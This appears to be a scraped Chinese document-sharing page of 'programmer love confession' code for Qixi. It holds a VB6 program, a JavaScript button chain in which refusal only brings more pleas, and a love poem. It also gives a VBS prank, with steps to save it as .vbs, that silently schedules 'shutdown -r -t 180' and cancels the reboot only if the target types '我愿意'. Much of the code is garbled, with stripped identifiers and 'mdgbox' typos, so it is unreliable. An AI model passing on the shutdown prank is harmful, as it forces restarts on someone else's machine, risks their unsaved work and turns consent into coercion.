12435 3915 12045 4725 10200 4485 9750 5295 9270 6015 8805 678010230 5895 10695 6540 11160 7230 13845 2655 13845 3480 13845 4335 14745 2640 15465 2595 15525 3540 15495 4335 14625 4320 16410 2565 17250 2625 18105 2535 18630 2520 18360 3630 17925 4590 17610 5205 16950 3480 16635 4410 16095 5325 15495 6045 16800 6015 17910 595518765 6765 18435 7680 18300 8415 18105 9120 17430 8595 13710 7335 15195 7290 16440 7275 17250 7230数据5505 2985 6900 2340 9000 2055 11100 2310 12000 3630 12270 5835 4905 4800 5145 6495 6465 7635 7650 8475 9765 8280 11505 7320 5985 40807695 3960 7860 4410 9030 4470 9435 4125 10260 3885 10845 4155 11250 4770 6720 6210 7260 6675 8070 7005 9045 6885 9600 6390 10020 6090 12240 4785 11565 2865 9990 2040 7725 2115 6165 2595 5115 3870 4905 5580 5760 7080 6945 8055 8595 8430 10605 7755将上述文件数据复制到文本文件中,后缀名改为tat另一种方法Option ExplicitDim a, b As Integer'用于打开网页Private Declare Function ShellExecute Lib "" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As LongPrivate Sub OpenUrl(tUrl As String) '用于打开网页ShellExecute , "Open", tUrl, 0, 0, 0End SubPublic Function SaveFileFromRes(vntResourceID As Variant, sType As String, sFileName As String) As BooleanDim bytImage() As ByteDim iFileNum As IntegerOn Error GoTo SaveFileFromRes_Err '发生错误跳到SaveFileFromRes_Err 事件SaveFileFromRes = TruebytImage = LoadResData(vntResourceID, sType)iFileNum = FreeFileOpen sFileName For Binary As iFileNumPut #iFileNum, , bytImageClose iFileNumExit FunctionSaveFileFromRes_Err: '发生错误提示SaveFileFromRes = False: Exit Function '错误为假,退出End FunctionPrivate Sub Picture1_Click()End SubPrivate Sub timer1_timer()If < Then= "在最青春的时候我们相遇" & vbCrLf & "" & vbCrLf & "你的洒脱你的乐观你的性情" & vbCrLf & "" & vbCrLf & "都触动着我" & vbCrLf & "" & vbCrLf & "你说你喜欢树" & vbCrLf & "" & vbCrLf & "我想说有一天我一定会带着你植下只属于你自己的树" & vbCrLf & "" & vbCrLf & "其实" & vbCrLf & "" & vbCrLf & "逛街的时候我一直想牵起你的手" & vbCrLf & "" & vbCrLf & "在电影院看着你一个哈欠连着一个哈欠" & vbCrLf & "" & vbCrLf & "我真想说你靠着我睡会吧..." & vbCrLf & "" & vbCrLf & "我就是这样只要前几次对了那以后就是一根筋了" & vbCrLf & "" & vbCrLf & "以前的我不善于主动和追求" & vbCrLf & "" & vbCrLf & "但是从此不会了我不想遗憾" & vbCrLf & "" & vbCrLf & "只想告诉你我喜欢你" & vbCrLf & "" & vbCrLf & _"我相信自己的感觉不会在意你的过去" & vbCrLf & "" & vbCrLf & "我真的喜欢你" & vbCrLf & "" & vbCrLf & "只想现在和未来都和你在一起...."= + 100Else= Falsea = MsgBox("想继续看吗", 1 + 32)If a = 1 Then '点击确定继续,否则关闭程序= True= TrueElseEndEnd IfEnd IfEnd SubPrivate Sub Form_Load()= "表白软件(吾爱破解版)" & "V" & & "." & & " BY 勿忘初心(dzeo)" SaveFileFromRes 101, "CUSTOM", & "\" & "表白.mp3" '修改释放资源的名称= & "\" & "表白.mp3" '播放器打开资源End SubPrivate Sub Timer2_Timer()If = wmppsStopped ThenKill & "\" & "表白.avi" '删除释放资源'隐藏程序a = MsgBox("愿意吗", 1 + 64)If a = 1 Then '点击确定则访问网页并退出,点击否则直接退出程序MsgBox "我太高兴了" & vbCrLf & "" & vbCrLf & "点击确定和我联系", 64 OpenUrl "&uin=95&site=qq&menu=yes"EndElseMsgBox "和你开玩笑的啦" & vbCrLf & "" & vbCrLf & "么么哒~~", 64EndEnd IfEnd IfEnd SubPrivate Sub Timer3_Timer()If < Then= "爱的宣言" & vbCrLf & "" & vbCrLf & "当甜言蜜语一点点的逝去" & vbCrLf & "" & vbCrLf & "当浪漫爱情的光环一点点的黯淡" & vbCrLf & "" & vbCrLf & "当我们只剩下柴米油盐的争吵时" & vbCrLf & "" & vbCrLf & "我依然和你厮守到老,我们的爱逃不过彼此的眼睛" & vbCrLf & "" & vbCrLf & "亲爱的我爱你一生一世"= + 100= TrueElse= FalseEnd IfEnd SubPrivate Sub WindowsMediaPlayer2_PlayStateChange(ByVal NewState As Long)If NewState = 1 ThenKill & "\" & "表白.mp3" '删除释放资源= FalseSaveFileFromRes 102, "CUSTOM", & "\" & "表白.avi" '修改释放资源的名称= & "\" & "表白.avi" '播放器打开资源End IfEnd Sub。
甜蜜代码浪漫表白
程序员代码表白<div class="footer"><div class="border"><div class="border-top"></div><div class="border-bottom"></div></div><div class="copyright"><div id="version"><span>Version:</span> 0.0.2</div><div id="createTime"><span>Time:</span> 2019/4/17</div><div id="author"><span>© </span>xianchenxy</div></div></div>---------------------------------------------------------------------------------------------------------------------------------$(function() {$('#yes').click(function(event) {modal('我就知道小姐姐您一定会愿意的。
(^_^)', function() { $('.page_one').addClass('hide');$('.page_two').removeClass('hide');// typeWrite();fireworks();});});$('#no').click(function(event) {modal('明人不说暗话!', A);});});function A() {modal('我喜欢你!', B);}function B() {modal('我知道你在等我这一句话', C);}function C() {modal('请您不要拒绝我', D);}function D() {modal('拒绝我,不存在的', E);}function E() {modal('这辈子都不可能让你离开我', F);}function F() {modal('跟我走吧', G);}function G() {modal('房产证上写你名', H);}function H() {modal('我会做饭', I);}---------------------------------------------------------------------------------------------------------------------------------<div class="textCon"><div class="words">小宝贝,今天是认识你的第</div><div class="days"><span class="days-number">1921</span><span class="days-label">天</span></div><div class="seconds">15 hours 24 minutes 30 seconds</div></div>。
七夕节,那些用代码表白的方式,不成功便成仁-文章_爱情文章.doc
七夕节,那些用代码表白的方式,不成功便成仁-文章_爱情文章首先在电脑上创建一个文本文档或者记事本也就是txt格式然后输入以下代码保存,然后在把文件名txt格式改成vbs就可以了想改图标也可以首先把这个文本创建一个快捷方式然后鼠标右键点属性然后下面点更改图标选择你要的图标就可以了on error resume nextdim WSHshellAset WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""三分钟内决定是否嫁给我,否则会被关机......"" ",0 ,truedim ado while(a "我愿意")a = inputbox ("你愿意嫁给我么","爱的表白","",8000,7000) if( a "我愿意" ) thenmsgbox “你忍心抛弃我?要不再考虑一下哦"loopdim WSHshellset WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd.exe /c shutdown -a",0 ,truemsgbox "哈哈哈哈,好乖"里面的汉字自己改成合适的。
如果对方不愿意,真的会被关机哦,请谨慎使用。
七夕情-美文_爱情美文花落满地又是一个七夕牛郎织女再一次的相遇鹊桥下的牵手繁星为他们当作嫁衣如风花雪月的浪漫让人羡慕不已再回不到当初相恋的时光再看不到当初可爱的笑脸张开双臂随风儿飘向远方再次相聚是在曾经的梦里我和你手牵手漫步在那天外天看着那牛郎织女相遇在银河边银光闪烁下是多么浪漫的场景祈祷那天是我们的婚礼。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
msgbox(“和你在一起只是我不想给任何人机会。
”)
mdgbox(“请你当我手心里的宝。
”)
mdgbox(“好笑吗身边没你,好怪,陪我一生一世好吗?”)
mdgbox(“玫瑰开在九月里,我的心中只有你,好想和你在一起,没有什么送给你,只有一句我爱你!”)
mdgbox(“我想要一个拥抱,但是你的拥抱或许永远也不属于我。
”)
mdgbox(“做不了你的影子,就让我做一阵风萦绕在你的身边。
”)
mdgbox(“如果有忧伤,我把它无声无息地吹散。
”)
mdgbox(“用我三生烟火,换你一生迷离。
为你尘埃落定,倾覆一世繁华。
”)
mdgbox(“天塌下来,记住有我,陪你看天崩地裂。
”)
mdgbox(“踮起脚尖,我们就能离幸福更近一点吗?”)
mdgbox(“在同一片天空下,只是想想就觉得狠幸福”)
mdgbox(“明明刚刚才看到你,可现在思念已经将我掩埋,我想你。
”)
mdgbox(“我愿意轻轻地把你拖起,一如托起生活的一切重担。
”)
mdgbox(“Don't go, please stay, don't make my heart ache any more. Do you think it's not enough to hurt me”)
mdgbox(“Don't know if loving you is a good reason?”)
mdgbox(“好嗨哦”)
mdgbox(“感觉好爽”)
mdgbox(“完”)
mdgbox(“感谢观看”)。